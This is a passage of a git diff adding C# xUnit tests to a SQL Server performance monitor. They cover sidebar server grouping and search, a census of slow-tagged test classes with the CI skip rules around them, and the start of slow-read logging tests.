+        if (!TryRun("groupedOrder", out var r)) return;
+
+        // Bravo is in Prod (under East) and West: it is listed under both.
+        Assert.Equal(
+            new[] { "G:East(1)@0", "S:Charlie@1", "G:Prod(2)@1", "S:Alpha@2", "S:Bravo@2", "G:West(2)@0", "S:Bravo@1", "S:Echo@1", "G:Untagged(1)@0", "S:Delta@1" },
+            Strings(r.GetProperty("plain")));
+
+        // Favourites lead; the same servers still appear under their tags. The empty Spare tag takes no line.
+        Assert.Equal("G:Favourites(2)@0", Strings(r.GetProperty("withFavourites"))[0]);
+        Assert.Equal(new[] { "S:Delta@1", "S:Echo@1", "G:East(1)@0" }, Strings(r.GetProperty("withFavourites")).Skip(1).Take(3));
+
+        // Collapsing East hides its servers and the whole Prod subtree; collapsing Untagged hides only its server.
+        Assert.Equal(
+            new[] { "G:East(1,c)@0", "G:West(2)@0", "S:Bravo@1", "S:Echo@1", "G:Untagged(1)@0", "S:Delta@1" },
+            Strings(r.GetProperty("collapsedEast")));
+        Assert.Equal("G:Untagged(1,c)@0", Strings(r.GetProperty("collapsedUntagged")).Last());
+
+        // A filter keeps a parent whose child matches (East holds nothing itself), and drops the groups that have no match.
+        Assert.Equal(
+            new[] { "G:East(0)@0", "G:Prod(1)@1", "S:Bravo@2", "G:West(2)@0", "S:Bravo@1", "S:Echo@1" },
+            Strings(r.GetProperty("filtered")));
+        Assert.True(r.GetProperty("noMatch").GetProperty("empty").GetBoolean());
+    }
+
+    [Fact]
+    public void TheSearchTerm_SurvivesTheRepaint_TheNoMatchLineIsOne_AndTheGroupedToggleIsStoredByIdOnly()
+    {
+        if (!TryRun("paint", out var r)) return;
+
+        Assert.Equal(AllFive, Strings(r.GetProperty("flat")));
+        Assert.True(r.GetProperty("inputFirst").GetBoolean());
+        Assert.True(r.GetProperty("inputFirstAfterRepaints").GetBoolean()); // the search box element survives every repaint (focus and caret)
+        Assert.Equal(new[] { "Alpha", "Bravo" }, Strings(r.GetProperty("typed")));
+
+        // The 60 s poll hands a fresh payload (here in another order) to the same list; the term is still applied.
+        Assert.Equal(new[] { "Alpha", "Bravo" }, Strings(r.GetProperty("afterPoll")));
+        Assert.Equal("Prod", r.GetProperty("termAfterPoll").GetString());
+        Assert.Equal(new[] { "Bravo" }, Strings(r.GetProperty("activeAfterPoll")));
+
+        Assert.Equal("No servers match", r.GetProperty("noMatchText").GetString());
+        Assert.Equal(1, r.GetProperty("noMatchRows").GetInt32());
+        Assert.Equal(AllFive, Strings(r.GetProperty("cleared")));
+
+        Assert.Equal(
+            new[] { "G:East", "S:Charlie", "G:Prod", "S:Alpha", "S:Bravo", "G:West", "S:Bravo", "S:Echo", "G:Untagged", "S:Delta" },
+            Strings(r.GetProperty("groupedLines")));
+        Assert.True(r.GetProperty("stored").GetProperty("grouped").GetBoolean());
+        Assert.Equal(new[] { "G:East", "G:West", "S:Bravo", "S:Echo", "G:Untagged", "S:Delta" }, Strings(r.GetProperty("afterCollapse")));
+        Assert.Equal(new[] { "1" }, Strings(r.GetProperty("storedAfterCollapse").GetProperty("collapsedGroups")));
+        Assert.DoesNotContain("East", r.GetProperty("storedText").GetString());
+    }
+
+    [Fact]
+    public void TypingAfterARouteChange_PaintsTheCurrentRoutesServerAsActive_NotTheOneOfTheLastFullPaint()
+    {
+        if (!TryRun("activeRoute", out var r)) return;
+
+        Assert.Equal(new[] { "Alpha" }, Strings(r.GetProperty("before")));
+        Assert.Equal(new[] { "Echo" }, Strings(r.GetProperty("afterTyping")));
+    }
+
+    [Fact]
+    public void ASearch_IgnoresCollapsedGroups_SoAMatchIsNeverHidden_AndClearingItRestoresTheCollapsedView()
+    {
+        if (!TryRun("searchOpensCollapsed", out var r)) return;
+
+        // East is collapsed (Prod, with Alpha, sits under it).
+        Assert.Equal(new[] { "G:East", "G:West", "S:Bravo", "S:Echo", "G:Untagged", "S:Delta" }, Strings(r.GetProperty("collapsed")));
+
+        // The term "alpha" shows Alpha even though East is collapsed; the stored choice is untouched.
+        Assert.Equal(new[] { "G:East", "G:Prod", "S:Alpha" }, Strings(r.GetProperty("searching")));
+        Assert.Equal(new[] { "1" }, Strings(r.GetProperty("storedWhileSearching")));
+
+        // A blank term is not a search; clearing it brings the collapsed view back.
+        Assert.Equal(Strings(r.GetProperty("collapsed")), Strings(r.GetProperty("blankTerm")));
+        Assert.Equal(Strings(r.GetProperty("collapsed")), Strings(r.GetProperty("cleared")));
+
+        // The shared helper: with no term the collapse still applies (the Fleet page's rule is unchanged).
+        Assert.Equal(
+            new[] { "G:East(1,c)@0", "G:West(2)@0", "S:Bravo@1", "S:Echo@1", "G:Untagged(1)@0", "S:Delta@1" },
+            Strings(r.GetProperty("helperNoTerm")));
+        Assert.Equal(new[] { "G:East(0)@0", "G:Prod(1)@1", "S:Alpha@2" }, Strings(r.GetProperty("helperTerm")));
+    }
+
+    [Fact]
+    public void AfterAHeaderToggle_FocusReturnsToTheSameGroupsHeader_AndASearchBoxKeepsItsOwnFocus()
+    {
+        if (!TryRun("headerFocus", out var r)) return;
+
+        Assert.True(r.GetProperty("replaced").GetBoolean()); // the repaint did build a new element
+        Assert.True(r.GetProperty("focusIsSameGroup").GetBoolean());
+        Assert.Equal("false", r.GetProperty("collapsed").GetString());
+        Assert.True(r.GetProperty("secondToggle").GetBoolean());
+        Assert.True(r.GetProperty("searchKeepsFocus").GetBoolean());
+    }
+
+    [Fact]
+    public void ACollapsedHeader_ShowsItsSubtreesDistinctServerCount_AnExpandedOneItsDirectCount()
+    {
+        if (!TryRun("collapsedCount", out var r)) return;
+
+        // East holds Charlie directly; Prod under it holds Alpha and Bravo.
+        Assert.Equal(new[] { "1", "3" }, Strings(r.GetProperty("eastExpanded")));
+        Assert.Equal(new[] { "1", "3" }, Strings(r.GetProperty("eastCollapsed")));
+        // A parent with no servers of its own; a server in both children counts once.
+        Assert.Equal(new[] { "0", "2" }, Strings(r.GetProperty("parentOnly")));
+        Assert.Equal("East (3)", r.GetProperty("collapsedHeader").GetString());
+        Assert.Equal("East (1)", r.GetProperty("expandedHeader").GetString());
+    }
+
+    [Fact]
+    public void TheGroupedView_AndCollapsedGroups_RoundTripThroughStorage_WithoutDroppingTheCollapsedSidebarFlag()
+    {
+        if (!TryRun("roundTrip", out var r)) return;
+
+        Assert.True(r.GetProperty("grouped").GetBoolean());
+        Assert.Equal(new[] { "2", "untagged", "favourites" }, Strings(r.GetProperty("collapsed")));
+        Assert.True(r.GetProperty("sidebarCollapsed").GetBoolean());
+        Assert.Equal(1, r.GetProperty("stored").GetProperty("v").GetInt32());
+        Assert.Equal(new[] { "untagged" }, Strings(r.GetProperty("afterExpand")));
+        Assert.Empty(r.GetProperty("fleetKeys").EnumerateArray());
+        Assert.True(r.GetProperty("storesNoNames").GetBoolean());
+    }
+
+    [Fact]
+    public void CorruptOrForeignStoredSidebarState_FallsBackToTheFlatListWithNothingCollapsed()
+    {
+        if (!TryRun("corruptStorage", out var r)) return;
+
+        foreach (var name in new[] { "garbage", "arrayRoot", "foreignVersion", "wrongTypes", "badEntries" })
+        {
+            var c = r.GetProperty("results").GetProperty(name);
+            Assert.False(c.GetProperty("grouped").GetBoolean(), name);
+            Assert.Equal(AllFive, Strings(c.GetProperty("painted")));
+        }
+
+        foreach (var name in new[] { "garbage", "arrayRoot", "foreignVersion", "wrongTypes" })
+            Assert.Empty(r.GetProperty("results").GetProperty(name).GetProperty("collapsed").EnumerateArray());
+
+        // Entries that are not a tag id or a fixed group id are dropped; a valid one beside them is kept.
+        Assert.Equal(new[] { "untagged" }, Strings(r.GetProperty("results").GetProperty("badEntries").GetProperty("collapsed")));
+    }
+
+    [Fact]
+    public void TheFleetPage_AndTheSidebar_UseTheSharedHelpers_NeitherKeepsACopy()
+    {
+        var fleet = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "fleet.js");
+        var shared = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "fleet-groups.js");
+        var sidebar = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "sidebar.js");
+        var app = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "app.js");
+
+        Assert.Contains("import { buildTagGroups, cardMatches } from \"../fleet-groups.js\";", fleet, StringComparison.Ordinal);
+        Assert.DoesNotContain("function buildTagGroups(", fleet, StringComparison.Ordinal);
+        Assert.DoesNotContain("function cardMatches(", fleet, StringComparison.Ordinal);
+        Assert.Contains("export function buildTagGroups(", shared, StringComparison.Ordinal);
+        Assert.Contains("export function cardMatches(", shared, StringComparison.Ordinal);
+        Assert.Contains("cardMatches(c, fleetFilter)", fleet, StringComparison.Ordinal);
+
+        Assert.Contains("from \"./fleet-groups.js\"", sidebar, StringComparison.Ordinal);
+        Assert.DoesNotContain("function cardMatches(", sidebar, StringComparison.Ordinal);
+        Assert.Contains("paintServerList(serverList,", app, StringComparison.Ordinal);
+        Assert.Contains("initSidebarSearch(document.getElementById(\"server-search\"), paintSidebar);", app, StringComparison.Ordinal);
+        Assert.DoesNotContain("activeParam }", sidebar, StringComparison.Ordinal); // no cached active param
+        Assert.DoesNotContain("darling.fleet.", sidebar, StringComparison.Ordinal);
+        Assert.DoesNotContain("innerHTML", sidebar, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/SingleInstanceGuardTests.cs b/Darling/Darling.Tests/SingleInstanceGuardTests.cs
index 453e70cf21..94d7e98026 100644
--- a/Darling/Darling.Tests/SingleInstanceGuardTests.cs
+++ b/Darling/Darling.Tests/SingleInstanceGuardTests.cs
@@ -22,6 +22,7 @@ namespace Darling.Tests;
 /// are Windows-gated because named-mutex namespace semantics are Windows-specific. The production name and the
 /// release-on-dispose (SCM stop→start) contract are pinned too.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class SingleInstanceGuardTests
 {
     private static string UniqueName() => @"Local\Darling-Test-" + Guid.NewGuid().ToString("N");
diff --git a/Darling/Darling.Tests/SlowClassCensusTests.cs b/Darling/Darling.Tests/SlowClassCensusTests.cs
new file mode 100644
index 0000000000..35d71d4bd9
--- /dev/null
+++ b/Darling/Darling.Tests/SlowClassCensusTests.cs
@@ -0,0 +1,348 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the list of classes that carry the <c>Cost</c> trait with the value <c>Slow</c> in Darling.Tests and Lite.Tests, and the CI wiring
+/// that acts on the tag (#5459, change 5).
+///
+/// <para><b>What the tag does.</b> A pull request run leaves a tagged class out unless the change reaches it
+/// (<c>ci-select.py slow-skip</c>: the class's own source file, a file whose name the class's source mentions, a
+/// script or style file for the Node-driven classes, a test-project or build input). A push to dev, a merge-queue run,
+/// the nightly and a release run every class. So the tag moves a class's cost off the pull request and onto the next
+/// push, which is a fair trade only for a class that is slow, has never failed, and guards nothing a pull request
+/// must stop at the door.</para>
+///
+/// <para><b>Why a pinned list.</b> A class must not gain or lose the tag silently. Adding a class means adding it
+/// to <see cref="s_slow"/> with the reason, in the same change; the failure message names the class. The classes in
+/// <see cref="s_keptOnPullRequests"/> were measured with the rest and stay on pull requests; tagging one fails
+/// here, because each guards a security boundary, an upgrade path or a shared path.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class SlowClassCensusTests
+{
+    private const string Darling = "darling";
+    private const string Lite = "lite";
+
+    /// <summary>The tagged classes, each with the suite and why it may wait for the push to dev.</summary>
+    private static readonly Dictionary<string, (string Suite, string Why)> s_slow = new(StringComparer.Ordinal)
+    {
+        ["WebDataStartNoteTests"] = (Darling, "no store: the note's list and the page code under Node; 0 failures in 30 days"),
+        ["WebDataStartNoteLiveTests"] = (Darling, "the note's store side; 0 failures in 30 days"),
+        ["ViewerTextLookupWindowBoundLiveTests"] = (Darling, "a plan-shape read bound on a scratch store; 0 failures in 30 days"),
+        ["AdminServerEditBehaviourTests"] = (Darling, "the Admin page's edit flow under Node; 0 failures in 30 days"),
+        ["DeadlockProcessRowsTests"] = (Darling, "a pure read shaper; 0 failures in 30 days"),
+        ["ComposeHourlyRawEdgesGuardLiveTests"] = (Darling, "compose routing edges on a scratch store; 0 failures in 30 days"),
+        ["QueryStoreIntervalWideBelowFloorLiveTests"] = (Darling, "a Query Store read bound on a scratch store; 0 failures in 30 days"),
+        ["WebPerfmonMultiSelectBehaviourTests"] = (Darling, "a web picker under Node; 0 failures in 30 days"),
+        ["WebChartAtTimeBehaviourTests"] = (Darling, "web chart drill-downs under Node; 0 failures in 30 days"),
+        ["WebWaitStatsMultiSelectBehaviourTests"] = (Darling, "a web picker under Node; 0 failures in 30 days"),
+        ["ComposeTimeoutPhaseLiveTests"] = (Darling, "both compose timeout phases on a real store; 0 failures in 30 days"),
+        ["PgServerLogTailCsvJsonRotationLiveTests"] = (Darling, "log-tail rotation on dedicated clusters; 0 failures in 30 days"),
+        ["ProcedureTrendRunModelLiveTests"] = (Darling, "a trend read on a scratch store; 0 failures in 30 days"),
+        ["GridAdoptionBehaviourTests"] = (Darling, "web grid column filters under Node; 0 failures in 30 days"),
+        ["PlanViewerRuntimeSummaryNestingTests"] = (Darling, "WPF margins read back through reflection; 0 failures in 30 days"),
+        ["McpWindowNoticeSystemHealthToolTests"] = (Lite, "a window notice on one MCP tool family; 0 failures in 30 days"),
+        ["McpWindowNoticeConfigAndLogToolTests"] = (Lite, "a window notice on one MCP tool family; 0 failures in 30 days"),
+        ["McpWindowNoticeEventToolTests"] = (Lite, "a window notice on one MCP tool family; 0 failures in 30 days"),
+        ["McpWindowNoticeToolTests"] = (Lite, "a window notice on one MCP tool family; 0 failures in 30 days"),
+        ["McpWindowNoticeAggregateToolTests"] = (Lite, "a window notice on one MCP tool family; 0 failures in 30 days"),
+        ["ServerClockDstReadTests"] = (Lite, "four read sites across a DST change; 0 failures in 30 days"),
+        ["QueryStatsTextAfterRankingTests"] = (Lite, "the memory shape of two reads; 0 failures in 30 days"),
+        ["ProcedureStatsIdleRowsReaderTests"] = (Lite, "idle-row handling in the readers; 0 failures in 30 days"),
+        ["LongQueryTraceLifecycleLiteTests"] = (Lite, "trace session lifecycle on Azure SQL Database; 0 failures in 30 days"),
+        ["DataStartBannerSurfaceTests"] = (Lite, "the Showing-since note per surface; 0 failures in 30 days"),
+        ["DataStartBannerQueriesTabTests"] = (Lite, "the Showing-since note on the Queries tab; 0 failures in 30 days"),
+        ["BlockingChartsDataStartTests"] = (Lite, "the Showing-since note on the Blocking charts; 0 failures in 30 days"),
+    };
+
+    /// <summary>Slow classes measured with the rest that stay on pull requests, each with the reason.</summary>
+    private static readonly Dictionary<string, string> s_keptOnPullRequests = new(StringComparer.Ordinal)
+    {
+        ["DarlingPasswordKeyStoreLiveTests"] = "passwords and keys",
+        ["ServerEditPasswordRuleViewerTests"] = "the password rules of the server edit",
+        ["DarlingStoreUpgradeTests"] = "the store upgrade path",
+        ["ManagedConfUpgradePathTests"] = "the managed configuration upgrade path",
+        ["DarlingManagedPostgresTests"] = "the managed runtime, 13 failures in 30 days",
+        ["AlertNotebookEndpointTests"] = "a census over the shared read-dispatch table",
+        ["ArchiveResetRestoresStateTests"] = "archive reset, a data-loss path; 3 failures in 30 days",
+        ["ArchiveGroupedWatermarkReadTests"] = "archive reads, a data-loss path",
+        ["StoredEventCopiesTests"] = "1 failure in 30 days",
+        ["FactCollectorTests"] = "1 failure in 30 days",
+        ["ScenarioTests"] = "6 failures in 30 days",
+        ["AnomalyDetectorTests"] = "4 failures in 30 days",
+    };
+
+    private static readonly Regex s_classDecl = new(
+        @"^[ \t]*(?:(?:public|internal|private|protected|sealed|static|abstract|partial)\s+)*class\s+(\w+)",
+        RegexOptions.Compiled);
+
+    /// <summary>A line of the attribute and comment block above a declaration (the same lines ci-select.py reads).</summary>
+    private static readonly Regex s_attributeOrComment = new(@"^(\[|//|/\*|\*)", RegexOptions.Compiled);
+
+    private static string Root([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+
+    /// <summary>{class: (suite, trait values on its declaration)} for every class of both suites that carries any
+    /// <c>Cost</c> trait; the attribute block above the declaration is read the way ci-select.py reads it.</summary>
+    private static Dictionary<string, (string Suite, HashSet<string> Traits)> Scan()
+    {
+        var found = new Dictionary<string, (string, HashSet<string>)>(StringComparer.Ordinal);
+        foreach (var (suite, rel) in new[] { (Darling, Path.Combine("Darling", "Darling.Tests")), (Lite, "Lite.Tests") })
+        {
+            var dir = Path.Combine(Root(), rel);
+            foreach (var file in Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories)
+                .Where(f => !f.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar)
+                         && !f.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar)))
+            {
+                var lines = File.ReadAllLines(file);
+                for (var n = 0; n < lines.Length; n++)
+                {
+                    var m = s_classDecl.Match(lines[n]);
+                    if (!m.Success)
+                    {
+                        continue;
+                    }
+
+                    var traits = new HashSet<string>(StringComparer.Ordinal);
+                    for (var j = n - 1; j >= 0; j--)
+                    {
+                        var s = lines[j].Trim();
+                        if (!(s_attributeOrComment.IsMatch(s) || s.EndsWith("*/", StringComparison.Ordinal)))
+                        {
+                            break;
+                        }
+
+                        foreach (Match t in Regex.Matches(s, "Trait\\(\\s*\"(\\w+)\"\\s*,\\s*\"(\\w+)\"\\s*\\)"))
+                        {
+                            traits.Add(t.Groups[1].Value + "=" + t.Groups[2].Value);
+                        }
+                    }
+
+                    if (found.TryGetValue(m.Groups[1].Value, out var prev))
+                    {
+                        prev.Item2.UnionWith(traits);
+                    }
+                    else
+                    {
+                        found[m.Groups[1].Value] = (suite, traits);
+                    }
+                }
+            }
+        }
+
+        return found;
+    }
+
+    private static (int ExitCode, string Output) RunScript(params string[] args)
+    {
+        var psi = new ProcessStartInfo("python")
+        {
+            WorkingDirectory = Root(),
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            UseShellExecute = false,
+        };
+        psi.ArgumentList.Add("-I");
+        psi.ArgumentList.Add(Path.Combine(Root(), ".github", "scripts", "ci-select.py"));
+        foreach (var a in args)
+        {
+            psi.ArgumentList.Add(a);
+        }
+
+        using var p = Process.Start(psi) ?? throw new InvalidOperationException("python did not start");
+        var stdout = p.StandardOutput.ReadToEndAsync();
+        var stderr = p.StandardError.ReadToEndAsync();
+        Assert.True(p.WaitForExit(120_000), "ci-select.py did not finish in two minutes");
+        return (p.ExitCode, stdout.Result);
+    }
+
+    private static string[] Lines(string output) =>
+        output.Split('\n', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
+
+    [Fact]
+    public void TheTaggedClasses_AreExactlyThePinnedList()
+    {
+        var tagged = Scan().Where(kv => kv.Value.Traits.Contains("Cost=Slow")).ToDictionary(kv => kv.Key, kv => kv.Value.Suite);
+        var pinned = s_slow.ToDictionary(kv => kv.Key, kv => kv.Value.Suite);
+
+        var gained = tagged.Keys.Except(pinned.Keys).OrderBy(x => x, StringComparer.Ordinal).ToList();
+        var lost = pinned.Keys.Except(tagged.Keys).OrderBy(x => x, StringComparer.Ordinal).ToList();
+        Assert.True(gained.Count == 0,
+            "classes carry the Cost=Slow trait without a row in SlowClassCensusTests.s_slow (add the row with the reason, "
+            + "or remove the tag): " + string.Join(", ", gained));
+        Assert.True(lost.Count == 0,
+            "classes are pinned as Cost=Slow but no longer carry the tag (restore it, or remove the row): " + string.Join(", ", lost));
+        foreach (var (name, suite) in tagged)
+        {
+            Assert.True(pinned[name] == suite, name + " is pinned under the wrong suite");
+        }
+
+        Assert.True(s_slow.Count >= 20, "anti-vacuity: the pinned list shrank below 20 classes");
+    }
+
+    [Fact]
+    public void ATaggedClass_IsNeverAGuardClass_NorOneTheDarlingReadsLegChooses()
+    {
+        // The Guard stage runs on every pull request, and the Lite reads leg exists to run the Reads=Darling classes
+        // when a Darling read changes. A Slow tag on either would be dropped or contradicted by the other rule.
+        var scan = Scan();
+        foreach (var name in s_slow.Keys)
+        {
+            var traits = scan[name].Traits;
+            Assert.DoesNotContain("Stage=Guard", traits);
+            Assert.DoesNotContain("Reads=Darling", traits);
+        }
+    }
+
+    [Fact]
+    public void TheKeptClasses_AreNotTagged()
+    {
+        var scan = Scan();
+        foreach (var (name, why) in s_keptOnPullRequests)
+        {
+            Assert.True(scan.ContainsKey(name), name + " is listed as kept on pull requests but no such class exists; update the list");
+            Assert.False(scan[name].Traits.Contains("Cost=Slow"), name + " must stay on pull requests (" + why + ") but carries the Slow tag");
+        }
+    }
+
+    [Fact]
+    public void ThePullRequestRule_LeavesOutEveryTaggedClass_ForAnUnrelatedChange_AndNoneOtherwise()
+    {
+        foreach (var suite in new[] { Darling, Lite })
+        {
+            var expected = s_slow.Where(kv => kv.Value.Suite == suite).Select(kv => kv.Key).OrderBy(x => x, StringComparer.Ordinal).ToArray();
+
+            var (code, output) = RunScript("slow-skip", "--suite", suite, "--event", "pull_request", "SECURITY.md");
+            Assert.Equal(0, code);
+            Assert.Equal(expected, Lines(output).OrderBy(x => x, StringComparer.Ordinal).ToArray());
+
+            // Every event but a pull request runs every class.
+            foreach (var evt in new[] { "push", "merge_group", "release" })
+            {
+                Assert.Empty(Lines(RunScript("slow-skip", "--suite", suite, "--event", evt, "SECURITY.md").Output));
+            }
+
+            // An unknown change (no file list) skips nothing.
+            Assert.Empty(Lines(RunScript("slow-skip", "--suite", suite, "--event", "pull_request").Output));
+
+            // The workflow, the selector and a project file reach every class.
+            foreach (var input in new[] { ".github/workflows/build.yml", "Lite/PerformanceMonitorLite.csproj" })
+            {
+                Assert.Empty(Lines(RunScript("slow-skip", "--suite", suite, "--event", "pull_request", input).Output));
+            }
+        }
+    }
+
+    [Fact]
+    public void APullRequestIntoMain_SkipsNothing_AndOneIntoDevSkipsTheSameAsBefore()
+    {
+        foreach (var suite in new[] { Darling, Lite })
+        {
+            var expected = s_slow.Where(kv => kv.Value.Suite == suite).Select(kv => kv.Key).OrderBy(x => x, StringComparer.Ordinal).ToArray();
+
+            // #5459: the release gate (a pull request into main) runs every class, Cost=Slow ones too.
+            Assert.Empty(Lines(RunScript("slow-skip", "--suite", suite, "--event", "pull_request", "--base-ref", "main", "SECURITY.md").Output));
+
+            // The same change into dev, and one with no base branch at all (the replay corpus has none), skip as before.
+            foreach (var baseRef in new[] { "dev", "" })
+            {
+                var (code, output) = RunScript("slow-skip", "--suite", suite, "--event", "pull_request", "--base-ref", baseRef, "SECURITY.md");
+                Assert.Equal(0, code);
+                Assert.Equal(expected, Lines(output).OrderBy(x => x, StringComparer.Ordinal).ToArray());
+            }
+        }
+    }
+
+    [Fact]
+    public void AChange_ThatReachesATaggedClass_PutsItBack()
+    {
+        // Its own test file.
+        var own = Lines(RunScript("slow-skip", "--suite", Darling, "--event", "pull_request",
+            "Darling/Darling.Tests/DeadlockProcessRowsTests.cs").Output);
+        Assert.DoesNotContain("DeadlockProcessRowsTests", own);
+        Assert.Contains("WebDataStartNoteTests", own);
+
+        // A product file the test source names.
+        var product = Lines(RunScript("slow-skip", "--suite", Lite, "--event", "pull_request",
+            "Lite/Services/LocalDataService.cs").Output);
+        Assert.DoesNotContain("McpWindowNoticeSystemHealthToolTests", product);
+        Assert.Contains("LongQueryTraceLifecycleLiteTests", product);
+
+        // A page script reaches the classes that run the shipped scripts under Node.
+        var script = Lines(RunScript("slow-skip", "--suite", Darling, "--event", "pull_request",
+            "Darling/PerformanceMonitor.Darling.Web/wwwroot/js/never-named-anywhere.js").Output);
+        Assert.DoesNotContain("WebPerfmonMultiSelectBehaviourTests", script);
+        Assert.DoesNotContain("GridAdoptionBehaviourTests", script);
+        Assert.Contains("ComposeTimeoutPhaseLiveTests", script);
+
+        // A non-source file inside the test project (a fixture, a harness) reaches every class of that suite.
+        Assert.Empty(Lines(RunScript("slow-skip", "--suite", Darling, "--event", "pull_request",
+            "Darling/Darling.Tests/web-perfmon-multi-harness.mjs").Output));
+    }
+
+    [Fact]
+    public void TheWorkflow_AppliesTheRuleOnPullRequestsOnly_InEveryLegThatRunsTheseSuites()
+    {
+        var yml = File.ReadAllText(Path.Combine(Root(), ".github", "workflows", "build.yml"));
+
+        // #5616: the shard cut moved into one script per suite, which build.yml's legs and nightly.yml's legs both call.
+        // The build job's whole-suite pass (Darling) stays inline; the Darling shards and the Lite shards are the scripts.
+        // The whole-tree guards job is deliberately NOT here: CrossAppGuardCiGateTests pins its invocation whole, and the
+        // backstop exemptions rest on it.
+        var darlingShard = File.ReadAllText(Path.Combine(Root(), ".github", "scripts", "run-darling-pg-shard.ps1"));
+        var liteShard = File.ReadAllText(Path.Combine(Root(), ".github", "scripts", "run-lite-shard.ps1"));
+        Assert.Single(Regex.Matches(yml, @"slow-skip --suite darling --event \$env:SLOW_EVENT ""--base-ref=\$env:SLOW_BASE_REF"" --repo \$env:SLOW_REPO --pr \$env:SLOW_PR"));
+        Assert.Single(Regex.Matches(darlingShard, @"slow-skip --suite darling --event \$EventName ""--base-ref=\$env:SLOW_BASE_REF"" --repo \$env:SLOW_REPO --pr \$env:SLOW_PR"));
+        Assert.Single(Regex.Matches(liteShard, @"slow-skip --suite lite --event \$EventName ""--base-ref=\$env:SLOW_BASE_REF"" --repo \$env:SLOW_REPO --pr \$env:SLOW_PR"));
+        Assert.DoesNotContain("slow-skip", File.ReadAllText(Path.Combine(Root(), ".github", "workflows", "nightly.yml")), StringComparison.Ordinal);
+
+        // Each use sits inside a `pull_request` condition, so a push, a merge-queue run, the nightly (whose legs pass no
+        // event) and a release run every class.
+        // The test map selection (#5459) has its own pull_request condition beside it, in the build job's step and in each
+        // shard script. A usable selection replaces the skip, so in the scripts the skip sits in the `elseif` of the
+        // selection's `if`: the skip never runs on a pull request that was narrowed, and never on anything but a pull request.
+        Assert.Single(Regex.Matches(yml, @"\$env:SLOW_EVENT -eq 'pull_request' -and \$scopeArgs\.Count -eq 0"));
+        Assert.Single(Regex.Matches(yml, @"\$env:SLOW_EVENT -eq 'pull_request' -and \$env:TEST_MAP_SELECTION"));
+        Assert.Equal(2, Regex.Matches(yml, @"\$env:SLOW_EVENT -eq 'pull_request'").Count);
+        foreach (var shard in new[] { darlingShard, liteShard })
+        {
+            Assert.Single(Regex.Matches(shard, @"\$EventName -eq 'pull_request' -and \$SelectionFile"));
+            Assert.Single(Regex.Matches(shard, @"elseif \(\$EventName -eq 'pull_request'\) \{"));
+            Assert.Equal(2, Regex.Matches(shard, @"\$EventName -eq 'pull_request'").Count);
+            Assert.True(shard.IndexOf("elseif ($EventName -eq 'pull_request')", StringComparison.Ordinal)
+                < shard.IndexOf("slow-skip --suite", StringComparison.Ordinal), "the skip must sit inside the elseif");
+        }
+
+        // The two shard steps hand the event on from the environment they set, and the nightly passes none. The build
+        // job's selected Darling pass (#5459) is the third caller of the Darling script, and passes it the same way.
+        Assert.Equal(3, Regex.Matches(yml, @"run-(darling-pg|lite)-shard\.ps1 [^\r\n]*-EventName \$env:SLOW_EVENT").Count);
+
+        // And the environment each of the three steps reads is set from the run.
+        Assert.Equal(3, Regex.Matches(yml, @"SLOW_EVENT: \$\{\{ github\.event_name \}\}").Count);
+        Assert.Equal(3, Regex.Matches(yml, @"SLOW_PR: \$\{\{ github\.event\.pull_request\.number \}\}").Count);
+        Assert.Equal(3, Regex.Matches(yml, @"SLOW_REPO: \$\{\{ github\.repository \}\}").Count);
+
+        // #5459: the base branch reaches all three slow-skip callers, so a pull request into main skips nothing.
+        Assert.Equal(3, Regex.Matches(yml, @"SLOW_BASE_REF: \$\{\{ github\.base_ref \}\}").Count);
+        Assert.Single(Regex.Matches(yml, @"slow-skip [^\r\n]*""--base-ref=\$env:SLOW_BASE_REF"""));
+        Assert.Single(Regex.Matches(darlingShard, @"slow-skip [^\r\n]*""--base-ref=\$env:SLOW_BASE_REF"""));
+        Assert.Single(Regex.Matches(liteShard, @"slow-skip [^\r\n]*""--base-ref=\$env:SLOW_BASE_REF"""));
+    }
+}
diff --git a/Darling/Darling.Tests/SlowReadLogTests.cs b/Darling/Darling.Tests/SlowReadLogTests.cs
new file mode 100644
index 0000000000..0ad826737f
--- /dev/null
+++ b/Darling/Darling.Tests/SlowReadLogTests.cs
@@ -0,0 +1,538 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins for the slow-read record's write rule and shaping (#5097): which reads are recorded, how arguments and
+/// statements are normalised and bounded, the bounded queue, and the read tool's payload trim. The threshold is a
+/// process-wide seam, so the class shares the live collection and runs serially with the acceptance test that lowers it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class SlowReadLogTests
+{
+    private static ReadScope NewScope()
+    {
+        using var opened = ReadScope.Open(null);
+        return opened.Scope;
+    }
+
+    [Fact]
+    public void AReadIsRecorded_OverTheThreshold_OrOnATimeoutErrorOrLimit_AndNotOtherwise()
+    {
